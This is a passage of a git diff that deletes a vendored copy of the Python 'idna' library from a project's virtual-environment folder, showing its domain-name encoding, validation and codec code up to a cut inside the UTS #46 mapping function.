STRICT LIABILITY, OR TORT (INCLUDING -NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/idna/__init__.py b/venv/Lib/site-packages/idna/__init__.py deleted file mode 100644 index d6c890a9a93ee51b0e519213d82ce5eb0340c4c2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/__init__.py +++ /dev/null @@ -1,47 +0,0 @@ -from .core import ( - IDNABidiError, - IDNAError, - InvalidCodepoint, - InvalidCodepointContext, - alabel, - check_bidi, - check_hyphen_ok, - check_initial_combiner, - check_label, - check_nfc, - decode, - encode, - ulabel, - uts46_remap, - valid_contextj, - valid_contexto, - valid_label_length, - valid_string_length, -) -from .idnadata import __version__ as unicode_version -from .intranges import intranges_contain -from .package_data import __version__ - -__all__ = [ - "__version__", - "unicode_version", - "IDNABidiError", - "IDNAError", - "InvalidCodepoint", - "InvalidCodepointContext", - "alabel", - "check_bidi", - "check_hyphen_ok", - "check_initial_combiner", - "check_label", - "check_nfc", - "decode", - "encode", - "intranges_contain", - "ulabel", - "uts46_remap", - "valid_contextj", - "valid_contexto", - "valid_label_length", - "valid_string_length", -] diff --git a/venv/Lib/site-packages/idna/__main__.py b/venv/Lib/site-packages/idna/__main__.py deleted file mode 100644 index dbdd066172160ef2d47b29f0caa00e27c62ebc20..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/__main__.py +++ /dev/null @@ -1,6 +0,0 @@ -import sys - -from .cli import main - -if __name__ == "__main__": - sys.exit(main()) diff --git a/venv/Lib/site-packages/idna/cli.py b/venv/Lib/site-packages/idna/cli.py deleted file mode 100644 index 894d8a0637bc6542ab4d7bfb61bd91d40f438358..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/cli.py +++ /dev/null @@ -1,132 +0,0 @@ -"""Command-line interface for the :mod:`idna` package. - -Invoked via ``python -m idna``. See :func:`main` for the entry point. -""" - -from __future__ import annotations - -import argparse -import sys -from itertools import chain -from typing import IO, TYPE_CHECKING - -from . import IDNAError, decode, encode, unicode_version -from .core import _alabel_prefix, _unicode_dots_re -from .package_data import __version__ - -if TYPE_CHECKING: - from collections.abc import Iterable - - -def _looks_like_alabel(s: str) -> bool: - """Return True if any label in ``s`` carries the ``xn--`` ACE prefix.""" - prefix = _alabel_prefix.decode("ascii") - return any(label.lower().startswith(prefix) for label in _unicode_dots_re.split(s)) - - -def _build_parser() -> argparse.ArgumentParser: - parser = argparse.ArgumentParser( - prog="python -m idna", - description=( - "Convert a domain name between its Unicode (U-label) and " - "ASCII-compatible (A-label) forms. With no mode flag, the " - "direction is chosen from the first input — if it contains " - "an xn-- label the stream is decoded, otherwise it is " - "encoded — and the same mode is applied to every remaining " - "input. UTS #46 mapping is applied by default; pass " - "--strict to disable it. When no domains are given on the " - "command line and stdin is piped, one domain per line is " - "read from stdin." - ), - ) - mode = parser.add_mutually_exclusive_group() - mode.add_argument( - "-e", - "--encode", - dest="mode", - action="store_const", - const="encode", - help="Encode the input to its ASCII A-label form.", - ) - mode.add_argument( - "-d", - "--decode", - dest="mode", - action="store_const", - const="decode", - help="Decode the input from its ASCII A-label form.", - ) - parser.add_argument( - "--strict", - action="store_true", - help="Disable the default UTS #46 mapping and apply IDNA 2008 rules verbatim.", - ) - parser.add_argument( - "--version", - action="version", - version=f"idna {__version__} (Unicode {unicode_version})", - ) - parser.add_argument( - "domain", - nargs="*", - help="One or more domain names to convert. Omit to read from stdin.", - ) - return parser - - -def _iter_stdin(stream: IO[str]) -> Iterable[str]: - """Yield non-empty stripped lines from ``stream``, ignoring blanks.""" - for line in stream: - stripped = line.strip() - if stripped: - yield stripped - - -def _convert_one(domain: str, mode: str, uts46: bool) -> bool: - """Convert ``domain`` and write the result; return ``False`` on failure.""" - try: - if mode == "decode": - print(decode(domain, uts46=uts46)) - else: - print(encode(domain, uts46=uts46).decode("ascii")) - except IDNAError as err: - print(f"idna: {mode} failed for {domain!r}: {err}", file=sys.stderr) - return False - return True - - -def main(argv: list[str] | None = None) -> int: - """Entry point for ``python -m idna``. - - When more than one domain is supplied (via positional arguments or - piped stdin) and no mode flag is given, the first input determines - the direction and that mode is applied uniformly to the rest. - - :param argv: Argument list excluding the program name. Defaults to - :data:`sys.argv` when ``None``. - :returns: ``0`` on success, ``1`` if any conversion fails. - """ - parser = _build_parser() - args = parser.parse_args(argv) - uts46 = not args.strict - - if args.domain: - domains: Iterable[str] = args.domain - elif not sys.stdin.isatty(): - domains = _iter_stdin(sys.stdin) - else: - parser.error("a domain argument is required when stdin is a terminal") - - iterator = iter(domains) - first = next(iterator, None) - if first is None: - return 0 - - mode = args.mode or ("decode" if _looks_like_alabel(first) else "encode") - - results = [_convert_one(domain, mode, uts46) for domain in chain([first], iterator)] - return 0 if all(results) else 1 - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/venv/Lib/site-packages/idna/codec.py b/venv/Lib/site-packages/idna/codec.py deleted file mode 100644 index 17995c91f4fb5bb00a3f5c7d81472dc9f4085abe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/codec.py +++ /dev/null @@ -1,163 +0,0 @@ -from __future__ import annotations - -import codecs -from typing import Any - -from .core import IDNAError, _unicode_dots_re, alabel, decode, encode, ulabel - - -class Codec(codecs.Codec): - """Stateless IDNA 2008 codec. - - Implements the :class:`codecs.Codec` protocol so that the whole-domain - encoder (:func:`idna.encode`) and decoder (:func:`idna.decode`) are - accessible through the standard codec machinery as ``"idna2008"``. - - Only the ``"strict"`` error handler is supported; any other handler - raises :exc:`~idna.IDNAError`. - """ - - def encode(self, data: str, errors: str = "strict") -> tuple[bytes, int]: # ty: ignore[invalid-method-override] - if errors != "strict": - raise IDNAError(f'Unsupported error handling "{errors}"', code="unsupported_errors") - - if not data: - return b"", 0 - - return encode(data), len(data) - - def decode(self, data: bytes, errors: str = "strict") -> tuple[str, int]: # ty: ignore[invalid-method-override] - if errors != "strict": - raise IDNAError(f'Unsupported error handling "{errors}"', code="unsupported_errors") - - if not data: - return "", 0 - - return decode(data), len(data) - - -class IncrementalEncoder(codecs.BufferedIncrementalEncoder): - """Incremental IDNA 2008 encoder. - - Buffers a partial trailing label across calls until either the next - label separator is seen or ``final=True``, so that streamed input is - encoded one whole label at a time. Any of the four Unicode label - separators (``U+002E``, ``U+3002``, ``U+FF0E``, ``U+FF61``) ends a - label; the result always uses ``U+002E`` as the separator. - - Only the ``"strict"`` error handler is supported. - """ - - def _buffer_encode(self, data: str, errors: str, final: bool) -> tuple[bytes, int]: # ty: ignore[invalid-method-override] - if errors != "strict": - raise IDNAError(f'Unsupported error handling "{errors}"', code="unsupported_errors") - - if not data: - return b"", 0 - - labels = _unicode_dots_re.split(data) - trailing_dot = b"" - if labels: - if not labels[-1]: - trailing_dot = b"." - del labels[-1] - elif not final: - # Keep potentially unfinished label until the next call - del labels[-1] - if labels: - trailing_dot = b"." - - result = [] - size = 0 - for label in labels: - result.append(alabel(label)) - if size: - size += 1 - size += len(label) - - result_bytes = b".".join(result) + trailing_dot - size += len(trailing_dot) - return result_bytes, size - - -class IncrementalDecoder(codecs.BufferedIncrementalDecoder): - """Incremental IDNA 2008 decoder. - - Buffers a partial trailing label across calls until either the next - label separator is seen or ``final=True``, so that streamed input is - decoded one whole label at a time. - - Only the ``"strict"`` error handler is supported. - """ - - def _buffer_decode(self, data: Any, errors: str, final: bool) -> tuple[str, int]: # ty: ignore[invalid-method-override] - if errors != "strict": - raise IDNAError(f'Unsupported error handling "{errors}"', code="unsupported_errors") - - if not data: - return ("", 0) - - if not isinstance(data, str): - try: - data = str(data, "ascii") - except UnicodeDecodeError as err: - raise IDNAError("Invalid ASCII in A-label", code="invalid_ascii") from err - - labels = _unicode_dots_re.split(data) - trailing_dot = "" - if labels: - if not labels[-1]: - trailing_dot = "." - del labels[-1] - elif not final: - # Keep potentially unfinished label until the next call - del labels[-1] - if labels: - trailing_dot = "." - - result = [] - size = 0 - for label in labels: - result.append(ulabel(label)) - if size: - size += 1 - size += len(label) - - result_str = ".".join(result) + trailing_dot - size += len(trailing_dot) - return (result_str, size) - - -class StreamWriter(Codec, codecs.StreamWriter): - pass - - -class StreamReader(Codec, codecs.StreamReader): - pass - - -def search_function(name: str) -> codecs.CodecInfo | None: - """Codec search function registered with :mod:`codecs`. - - Returns a :class:`codecs.CodecInfo` for the ``"idna2008"`` codec name - so that ``str.encode("idna2008")`` and ``bytes.decode("idna2008")`` - invoke the IDNA 2008 codec defined in this module. - - :param name: The codec name being looked up. - :returns: A :class:`codecs.CodecInfo` instance if ``name`` is - ``"idna2008"``, otherwise ``None``. - """ - if name != "idna2008": - return None - return codecs.CodecInfo( - name=name, - encode=Codec().encode, - decode=Codec().decode, # type: ignore - incrementalencoder=IncrementalEncoder, - incrementaldecoder=IncrementalDecoder, - streamwriter=StreamWriter, - streamreader=StreamReader, - ) - - -codecs.register(search_function) diff --git a/venv/Lib/site-packages/idna/compat.py b/venv/Lib/site-packages/idna/compat.py deleted file mode 100644 index 5bedee9bad9936202c60f9696d6f39b7e2423094..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/compat.py +++ /dev/null @@ -1,43 +0,0 @@ -from __future__ import annotations - -from typing import Any - -from .core import decode, encode - - -def ToASCII(label: str) -> bytes: - """Compatibility shim for :rfc:`3490` ``ToASCII``. - - Delegates to :func:`idna.encode` (IDNA 2008). Provided to ease porting - of code written against the legacy :mod:`encodings.idna` API; new code - should call :func:`idna.encode` directly. - - :param label: The label or domain to encode. - :returns: The encoded form as ASCII :class:`bytes`. - """ - return encode(label) - - -def ToUnicode(label: bytes | bytearray) -> str: - """Compatibility shim for :rfc:`3490` ``ToUnicode``. - - Delegates to :func:`idna.decode` (IDNA 2008). Provided to ease porting - of code written against the legacy :mod:`encodings.idna` API; new code - should call :func:`idna.decode` directly. - - :param label: The label or domain to decode. - :returns: The decoded Unicode form. - """ - return decode(label) - - -def nameprep(s: Any) -> None: - """Stub for :rfc:`3491` Nameprep, which is not used by IDNA 2008. - - IDNA 2008 (:rfc:`5891`) replaces Nameprep with the per-codepoint - validity classes from :rfc:`5892`; this function exists only to - return a clear error if legacy code attempts to call it. - - :raises NotImplementedError: Always. - """ - raise NotImplementedError("IDNA 2008 does not utilise nameprep protocol") diff --git a/venv/Lib/site-packages/idna/core.py b/venv/Lib/site-packages/idna/core.py deleted file mode 100644 index 138ee10bd2d434cc7613be6cc0544d8f81ee5605..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/core.py +++ /dev/null @@ -1,862 +0,0 @@ -from __future__ import annotations - -import bisect -import re -import unicodedata -import warnings -from typing import Literal - -from . import idnadata -from .intranges import intranges_contain - -_virama_combining_class = 9 -_alabel_prefix = b"xn--" -_max_input_length = 1024 -_STATUS_VALID, _STATUS_MAPPED, _STATUS_DEVIATION, _STATUS_IGNORED = b"VMDI" -_unicode_dots_re = re.compile("[\u002e\u3002\uff0e\uff61]") -_std3_disallowed_re = re.compile("[\x00-\x2c\x2f\x3a-\x40A-Z\x5b-\x60\x7b-\x7f]") -_bidi_rtl_first = frozenset({"R", "AL"}) -_bidi_rtl_categories = frozenset({"R", "AL", "AN"}) -_bidi_rtl_allowed = frozenset({"R", "AL", "AN", "EN", "ES", "CS", "ET", "ON", "BN", "NSM"}) -_bidi_rtl_valid_ending = frozenset({"R", "AL", "EN", "AN"}) -_bidi_rtl_numeric = frozenset({"AN", "EN"}) -_bidi_ltr_allowed = frozenset({"L", "EN", "ES", "CS", "ET", "ON", "BN", "NSM"}) -_bidi_ltr_valid_ending = frozenset({"L", "EN"}) -_bidi_joiner_l_or_d = frozenset({"L", "D"}) -_bidi_joiner_r_or_d = frozenset({"R", "D"}) - - -def _joining_type(cp: int) -> str | None: - for jt, ranges in idnadata.joining_types.items(): - if intranges_contain(cp, ranges): - return jt - return None - - -# Machine-readable identifiers for the rule an :class:`IDNAError` reports. -# These strings are stable and documented; exception message wording is not. -_ErrorCode = Literal[ - "input_too_long", - "label_too_long", - "domain_too_long", - "empty_label", - "empty_domain", - "not_nfc", - "hyphen_3_4", - "hyphen_start_end", - "leading_combiner", - "disallowed_codepoint", - "contextj", - "contexto", - "unknown_codepoint", - "bidi_rule_1", - "bidi_rule_2", - "bidi_rule_3", - "bidi_rule_4", - "bidi_rule_5", - "bidi_rule_6", - "bidi_unknown_direction", - "invalid_alabel", - "non_canonical_alabel", - "invalid_ascii", - "invalid_utf8", - "uts46_disallowed", - "uts46_std3", - "unsupported_errors", -] - - -class IDNAError(UnicodeError): - """Base exception for all IDNA-encoding related problems. - - ``str(err)`` is a human-readable description of the failure. The - exception also carries machine-readable attributes so callers do not - need to parse the message: - - * ``code`` -- a short, stable identifier for the rule that failed, such - as ``"disallowed_codepoint"`` or ``"bidi_rule_2"``; the full list is - documented in the README. Message wording, by contrast, may change - between releases. - * ``text`` -- the label (or, for UTS #46 processing, the domain) that - was being validated; - * ``codepoint`` -- the offending codepoint, as an ``int``; - * ``position`` -- the 1-based index of the offending character within - ``text``, matching the position quoted in the message. - - Each is ``None`` when it does not apply. - """ - - code: str | None - text: str | None - codepoint: int | None - position: int | None - - def __init__( - self, - *args: object, - code: _ErrorCode | None = None, - text: str | None = None, - codepoint: int | None = None, - position: int | None = None, - ) -> None: - super().__init__(*args) - self.code = code - self.text = text - self.codepoint = codepoint - self.position = position - - -class IDNABidiError(IDNAError): - """Exception when bidirectional requirements are not satisfied""" - - -class InvalidCodepoint(IDNAError): - """Exception when a disallowed or unallocated codepoint is used""" - - -class InvalidCodepointContext(IDNAError): - """Exception when the codepoint is not valid in the context it is used""" - - -def _combining_class(cp: int) -> int: - v = unicodedata.combining(chr(cp)) - if v == 0 and not unicodedata.name(chr(cp)): - raise ValueError("Unknown character in unicodedata") - return v - - -def _is_script(cp: str, script: str) -> bool: - return intranges_contain(ord(cp), idnadata.scripts[script]) - - -def _punycode(s: str) -> bytes: - return s.encode("punycode") - - -def _unot(s: int) -> str: - return f"U+{s:04X}" - - -def valid_label_length(label: bytes | str) -> bool: - """Check that a label does not exceed the maximum permitted length. - - Per :rfc:`1035` (and :rfc:`5891` §4.2.4) a DNS label must not exceed - 63 octets. The argument may be either a :class:`str` (a U-label, where - length is measured in characters) or :class:`bytes` (an A-label, where - length is measured in octets). - - :param label: The label to check. - :returns: ``True`` if the label is within the length limit, otherwise - ``False``. - """ - return len(label) <= 63 - - -def valid_string_length(domain: bytes | str, trailing_dot: bool) -> bool: - """Check that a full domain name does not exceed the maximum length. - - Per :rfc:`1035`, a domain name is limited to 253 octets when no trailing - dot is present, or 254 octets when one is included. - - :param domain: The full (possibly multi-label) domain name. - :param trailing_dot: ``True`` if ``domain`` includes a trailing ``.``. - :returns: ``True`` if the domain is within the length limit, otherwise - ``False``. - """ - return len(domain) <= (254 if trailing_dot else 253) - - -def check_bidi(label: str, check_ltr: bool = False) -> bool: - """Validate the Bidi Rule from :rfc:`5893` for a single label. - - The Bidi Rule constrains how bidirectional characters (Hebrew, Arabic, - etc.) may appear within a label. By default the check is only applied - when the label contains at least one right-to-left character (Unicode - bidirectional categories ``R``, ``AL``, or ``AN``); set ``check_ltr`` - to ``True`` to apply it to LTR-only labels as well. - - :param label: The label to validate, as a Unicode string. - :param check_ltr: If ``True``, apply the rules even when the label - contains no RTL characters. - :returns: ``True`` if the label satisfies the Bidi Rule. - :raises IDNABidiError: If any of Bidi Rule conditions 1-6 are violated, - or if the directional category of a codepoint cannot be determined. - """ - if len(label) > _max_input_length: - raise IDNAError("Label too long", code="input_too_long") - # Bidi rules should only be applied if string contains RTL characters - bidi_label = False - for idx, cp in enumerate(label, 1): - direction = unicodedata.bidirectional(cp) - if direction == "": - # String likely comes from a newer version of Unicode - raise IDNABidiError( - f"Unknown directionality in label {label!r} at position {idx}", - code="bidi_unknown_direction", - text=label, - codepoint=ord(cp), - position=idx, - ) - if direction in _bidi_rtl_categories: - bidi_label = True - if not bidi_label and not check_ltr: - return True - - # Bidi rule 1 - direction = unicodedata.bidirectional(label[0]) - if direction in _bidi_rtl_first: - rtl = True - elif direction == "L": - rtl = False - else: - raise IDNABidiError( - f"First codepoint in label {label!r} must be directionality L, R or AL", - code="bidi_rule_1", - text=label, - codepoint=ord(label[0]), - position=1, - ) - - valid_ending = False - ending_idx = 1 - number_type: str | None = None - for idx, cp in enumerate(label, 1): - direction = unicodedata.bidirectional(cp) - - if rtl: - # Bidi rule 2 - if direction not in _bidi_rtl_allowed: - raise IDNABidiError( - f"Invalid direction for codepoint at position {idx} in a right-to-left label", - code="bidi_rule_2", - text=label, - codepoint=ord(cp), - position=idx, - ) - # Bidi rule 3 - if direction in _bidi_rtl_valid_ending: - valid_ending = True - ending_idx = idx - elif direction != "NSM": - valid_ending = False - ending_idx = idx - # Bidi rule 4 - if direction in _bidi_rtl_numeric: - if not number_type: - number_type = direction - elif number_type != direction: - raise IDNABidiError( - "Can not mix numeral types in a right-to-left label", - code="bidi_rule_4", - text=label, - codepoint=ord(cp), - position=idx, - ) - else: - # Bidi rule 5 - if direction not in _bidi_ltr_allowed: - raise IDNABidiError( - f"Invalid direction for codepoint at position {idx} in a left-to-right label", - code="bidi_rule_5", - text=label, - codepoint=ord(cp), - position=idx, - ) - # Bidi rule 6 - if direction in _bidi_ltr_valid_ending: - valid_ending = True - ending_idx = idx - elif direction != "NSM": - valid_ending = False - ending_idx = idx - - if not valid_ending: - # Rules 3 and 6 concern the last character that is not a - # non-spacing mark, which is what ``ending_idx`` tracks. - raise IDNABidiError( - "Label ends with illegal codepoint directionality", - code="bidi_rule_3" if rtl else "bidi_rule_6", - text=label, - codepoint=ord(label[ending_idx - 1]), - position=ending_idx, - ) - - return True - - -def check_initial_combiner(label: str) -> bool: - """Reject labels that begin with a combining mark. - - Per :rfc:`5891` §4.2.3.2 a label must not start with a character of - Unicode general category ``M`` (Mark). - - :param label: The label to check. - :returns: ``True`` if the first character is not a combining mark. - :raises IDNAError: If the label begins with a combining character. - """ - if label and unicodedata.category(label[0])[0] == "M": - raise IDNAError( - "Label begins with an illegal combining character", - code="leading_combiner", - text=label, - codepoint=ord(label[0]), - position=1, - ) - return True - - -def check_hyphen_ok(label: str) -> bool: - """Validate the hyphen restrictions for a label. - - Per :rfc:`5891` §4.2.3.1 a label must not start or end with a hyphen - (``U+002D``), and must not have hyphens in both the third and fourth - positions (the prefix reserved for A-labels). - - :param label: The label to check. - :returns: ``True`` if the hyphen restrictions are satisfied. - :raises IDNAError: If any of the hyphen restrictions are violated. - """ - if label[2:4] == "--": - raise IDNAError("Label has disallowed hyphens in 3rd and 4th position", code="hyphen_3_4") - if label.startswith("-") or label.endswith("-"): - raise IDNAError("Label must not start or end with a hyphen", code="hyphen_start_end") - return True - - -def check_nfc(label: str) -> None: - """Require that a label is in Unicode Normalization Form C. - - :param label: The label to check. - :raises IDNAError: If ``label`` differs from its NFC normalisation. - """ - if len(label) > _max_input_length: - raise IDNAError("Label too long", code="input_too_long") - if unicodedata.normalize("NFC", label) != label: - raise IDNAError("Label must be in Normalization Form C", code="not_nfc") - - -def valid_contextj(label: str, pos: int) -> bool: - """Validate the CONTEXTJ rules from :rfc:`5892` Appendix A. - - These rules govern the contextual use of the joiner codepoints - ``U+200C`` (ZERO WIDTH NON-JOINER, Appendix A.1) and ``U+200D`` - (ZERO WIDTH JOINER, Appendix A.2) within a label. - - :param label: The label containing the codepoint. - :param pos: Index of the joiner codepoint within ``label``. - :returns: ``True`` if the codepoint at ``pos`` satisfies its CONTEXTJ - rule, ``False`` otherwise (including when the codepoint at - ``pos`` is not a recognised joiner). - :raises ValueError: If an adjacent codepoint has no Unicode name when - determining its combining class. - :raises IDNAError: If ``label`` exceeds the defensive input length limit. - """ - if len(label) > _max_input_length: - raise IDNAError("Label too long", code="input_too_long") - cp_value = ord(label[pos]) - - if cp_value == 0x200C: - if pos > 0 and _combining_class(ord(label[pos - 1])) == _virama_combining_class: - return True - - ok = False - for i in range(pos - 1, -1, -1): - joining_type = _joining_type(ord(label[i])) - if joining_type == "T": - continue - if joining_type in _bidi_joiner_l_or_d: - ok = True - break - break - - if not ok: - return False - - ok = False - for i in range(pos + 1, len(label)): - joining_type = _joining_type(ord(label[i])) - if joining_type == "T": - continue - if joining_type in _bidi_joiner_r_or_d: - ok = True - break - break - return ok - - if cp_value == 0x200D: - return pos > 0 and _combining_class(ord(label[pos - 1])) == _virama_combining_class - - return False - - -def valid_contexto(label: str, pos: int, exception: bool = False) -> bool: - """Validate the CONTEXTO rules from :rfc:`5892` Appendix A. - - Covers the contextual rules for codepoints such as MIDDLE DOT - (``U+00B7``), Greek lower numeral sign, Hebrew punctuation, Katakana - middle dot, and the Arabic-Indic / Extended Arabic-Indic digit ranges. - - :param label: The label containing the codepoint. - :param pos: Index of the codepoint within ``label``. - :param exception: Reserved for forward compatibility; currently unused. - :returns: ``True`` if the codepoint at ``pos`` satisfies its CONTEXTO - rule, ``False`` otherwise (including when the codepoint is not a - recognised CONTEXTO codepoint). - :raises IDNAError: If ``label`` exceeds the defensive input length limit. - """ - if len(label) > _max_input_length: - raise IDNAError("Label too long", code="input_too_long") - cp_value = ord(label[pos]) - - if cp_value == 0x00B7: - return 0 < pos < len(label) - 1 and ord(label[pos - 1]) == 0x006C and ord(label[pos + 1]) == 0x006C - - if cp_value == 0x0375: - if pos < len(label) - 1 and len(label) > 1: - return _is_script(label[pos + 1], "Greek") - return False - - if cp_value in {0x05F3, 0x05F4}: - if pos > 0: - return _is_script(label[pos - 1], "Hebrew") - return False - - if cp_value == 0x30FB: - for cp in label: - if cp == "\u30fb": - continue - if _is_script(cp, "Hiragana") or _is_script(cp, "Katakana") or _is_script(cp, "Han"): - return True - return False - - if 0x660 <= cp_value <= 0x669: - return not any(0x6F0 <= ord(cp) <= 0x06F9 for cp in label) - - if 0x6F0 <= cp_value <= 0x6F9: - return not any(0x660 <= ord(cp) <= 0x0669 for cp in label) - - return False - - -def check_label(label: str | bytes | bytearray) -> None: - """Run the full set of IDNA 2008 validity checks on a single label. - - Applies, in order: NFC normalisation (:func:`check_nfc`), hyphen - restrictions (:func:`check_hyphen_ok`), the no-leading-combiner rule - (:func:`check_initial_combiner`), per-codepoint validity (PVALID, - CONTEXTJ, CONTEXTO classes from :rfc:`5892`), and the Bidi Rule - (:func:`check_bidi`). - - :param label: The label to validate. ``bytes`` or ``bytearray`` input - is decoded as UTF-8 first. - :raises IDNAError: If the label is empty or fails a structural rule. - :raises InvalidCodepoint: If the label contains a DISALLOWED or - UNASSIGNED codepoint. - :raises InvalidCodepointContext: If a CONTEXTJ or CONTEXTO codepoint - is not valid in its context. - :raises IDNABidiError: If the Bidi Rule is violated. - """ - if len(label) > _max_input_length: - raise IDNAError("Label too long", code="input_too_long") - if isinstance(label, (bytes, bytearray)): - try: - label = label.decode("utf-8") - except UnicodeDecodeError as err: - raise IDNAError("Invalid UTF-8 in label", code="invalid_utf8") from err - if len(label) == 0: - raise IDNAError("Empty Label", code="empty_label") - - # Check against the domain length rather than the label length to - # support some UTS #46 use cases, while still bounding the work done - # by the label contextual rules below. - if not valid_string_length(label, trailing_dot=True): - raise IDNAError("Label too long", code="label_too_long") - - check_nfc(label) - check_hyphen_ok(label) - check_initial_combiner(label) - - for pos, cp in enumerate(label): - cp_value = ord(cp) - if intranges_contain(cp_value, idnadata.codepoint_classes["PVALID"]): - continue - if intranges_contain(cp_value, idnadata.codepoint_classes["CONTEXTJ"]): - try: - contextj_ok = valid_contextj(label, pos) - except ValueError as err: - raise IDNAError( - f"Unknown codepoint adjacent to joiner {_unot(cp_value)} at position {pos + 1} in {label!r}", - code="unknown_codepoint", - text=label, - codepoint=cp_value, - position=pos + 1, - ) from err - if not contextj_ok: - raise InvalidCodepointContext( - f"Joiner {_unot(cp_value)} not allowed at position {pos + 1} in {label!r}", - code="contextj", - text=label, - codepoint=cp_value, - position=pos + 1, - ) - elif intranges_contain(cp_value, idnadata.codepoint_classes["CONTEXTO"]): - if not valid_contexto(label, pos): - raise InvalidCodepointContext( - f"Codepoint {_unot(cp_value)} not allowed at position {pos + 1} in {label!r}", - code="contexto", - text=label, - codepoint=cp_value, - position=pos + 1, - ) - else: - raise InvalidCodepoint( - f"Codepoint {_unot(cp_value)} at position {pos + 1} of {label!r} not allowed", - code="disallowed_codepoint", - text=label, - codepoint=cp_value, - position=pos + 1, - ) - - check_bidi(label) - - -def alabel(label: str) -> bytes: - """Convert a single U-label into its A-label form. - - The result is the ASCII-Compatible Encoding (ACE) form per :rfc:`5891` - §4: the label is validated, Punycode-encoded, and prefixed with - ``xn--``. Pure ASCII labels that are already valid IDNA labels are - returned unchanged (as :class:`bytes`). - - :param label: The label to convert, as a Unicode string. - :returns: The A-label as ASCII-encoded :class:`bytes`. - :raises IDNAError: If the label is invalid or the resulting A-label - exceeds 63 octets. - """ - if len(label) > _max_input_length: - raise IDNAError("Label too long", code="input_too_long") - try: - label_bytes = label.encode("ascii") - except UnicodeEncodeError: - pass - else: - ulabel(label_bytes) - if not valid_label_length(label_bytes): - raise IDNAError("Label too long", code="label_too_long") - return label_bytes - - check_label(label) - label_bytes = _alabel_prefix + _punycode(label) - - if not valid_label_length(label_bytes): - raise IDNAError("Label too long", code="label_too_long") - - return label_bytes - - -def ulabel(label: str | bytes | bytearray) -> str: - """Convert a single A-label into its U-label form. - - Performs the inverse of :func:`alabel`: an ``xn--``-prefixed label is - Punycode-decoded and validated, and is rejected unless it is the - canonical A-label for the decoded U-label (:rfc:`5891` §5.3). Labels - that are already Unicode (or plain ASCII without the ACE prefix) are - validated and returned as a Unicode string. - - :param label: The label to convert. ``bytes`` or ``bytearray`` input - is treated as ASCII. - :returns: The U-label as a Unicode string. - :raises IDNAError: If the label is malformed or fails validation. - """ - if len(label) > _max_input_length: - raise IDNAError("Label too long", code="input_too_long") - if not isinstance(label, (bytes, bytearray)): - try: - label_bytes = label.encode("ascii") - except UnicodeEncodeError: - check_label(label) - return label - else: - label_bytes = bytes(label) - if not label_bytes.isascii(): - raise IDNAError("Invalid ASCII in A-label", code="invalid_ascii") - - label_bytes = label_bytes.lower() - if label_bytes.startswith(_alabel_prefix): - label_bytes = label_bytes[len(_alabel_prefix) :] - if not label_bytes: - raise IDNAError("Malformed A-label, no Punycode eligible content found", code="invalid_alabel") - if label_bytes.endswith(b"-"): - raise IDNAError("A-label must not end with a hyphen", code="invalid_alabel") - else: - check_label(label_bytes) - return label_bytes.decode("ascii") - - try: - label = label_bytes.decode("punycode") - except UnicodeError as err: - raise IDNAError("Invalid A-label", code="invalid_alabel") from err - # RFC 5891 §5.3: the label is rejected unless re-encoding the decoded - # form reproduces the (lowercased) input. This catches "fake A-labels" - # (RFC 5890 §2.3.2.1) such as ``xn---bbk``, a non-canonical Punycode - # spelling of ``xn--bbk`` that would otherwise decode to the same - # U-label and so display identically to a different wire-format name. - if _punycode(label) != label_bytes: - raise IDNAError("A-label is not the canonical Punycode encoding of its U-label", code="non_canonical_alabel") - check_label(label) - return label - - -def _check_std3(text: str, domain: str, offset: int) -> None: - """Raise if ``text``, a slice of ``domain`` starting at ``offset`` that - UTS #46 mapping left unchanged, contains an ASCII character disallowed - under ``UseSTD3ASCIIRules``.""" - match = _std3_disallowed_re.search(text) - if match: - codepoint = ord(match.group()) - position = offset + match.start() + 1 - raise InvalidCodepoint( - f"Codepoint {_unot(codepoint)} not allowed at position {position} in {domain!r}", - code="uts46_std3", - text=domain, - codepoint=codepoint, - position=position, - ) - - -def _warn_transitional() -> None: - warnings.warn( - "Transitional processing is deprecated in UTS #46 and has no effect. " - "The transitional argument will be removed in a future version.", - DeprecationWarning, - stacklevel=3, - ) - - -def uts46_remap(domain: str, std3_rules: bool = True, transitional: bool = False) -> str: - """Apply the UTS #46 character mapping to a domain string. - - Implements the mapping table from `UTS #46 §4 - `_: each character is kept, - replaced, or rejected based on its status (``V``, ``M``, ``D``, - ``I``, ``X``). The result is returned in Normalisation Form C. - - :param domain: The full domain name to remap. - :param std3_rules: If ``True``, apply UTS #46's ``UseSTD3ASCIIRules``: - after mapping, any ASCII character other than a lowercase letter, - digit, hyphen or the label separator ``.`` is rejected, whether it - appeared in the input or was produced by a mapping (e.g. U+FF01 - FULLWIDTH EXCLAMATION MARK maps to ``!``). If ``False``, such - characters are passed through. - :param transitional: Deprecated and ignored. UTS #46 deprecated - transitional processing in Unicode 15.1 and deviation (status - ``D``) codepoints are now always kept, so this has no effect - beyond emitting a :class:`DeprecationWarning`. It will be removed - in a future version. - :returns: The remapped domain, in Normalisation Form C. - :raises InvalidCodepoint: If the domain contains a disallowed - codepoint under the chosen rules. - :raises IDNAError: If ``domain`` exceeds the defensive input length limit. - """ - if transitional: - _warn_transitional() - if len(domain) > _max_input_length: - raise IDNAError("Domain too long", code="input_too_long") - if domain.isascii(): - # The only ASCII mapping in UTS #46 is upper- to lowercase, and - # ASCII is invariant under NFC, so lowercasing is the whole job. - result = domain.lower() - if std3_rules: - _check_std3(result, domain, 0) - return result - - from .uts46data import uts46_replacements, uts46_starts, uts46_statuses - - # ``start`` marks the run of unchanged input not yet copied; a run is - # only sliced out when a character must be replaced or dropped, so the - # common no-change case makes no copy. STD3 is checked per output piece - # to report a violation at its input position. - output: list[str] = [] - start = 0 - for pos, char in enumerate(domain): - code_point = ord(char) - i = code_point if code_point < 256 else bisect.bisect_right(uts46_starts, code_point) - 1 - status = uts46_statuses[i] - # UTS #46 §4: V valid, D deviation (kept), M mapped, I ignored, - # anything else disallowed. - if status == _STATUS_VALID: - continue - if status == _STATUS_MAPPED: - replacement = uts46_replacements[i] - elif status == 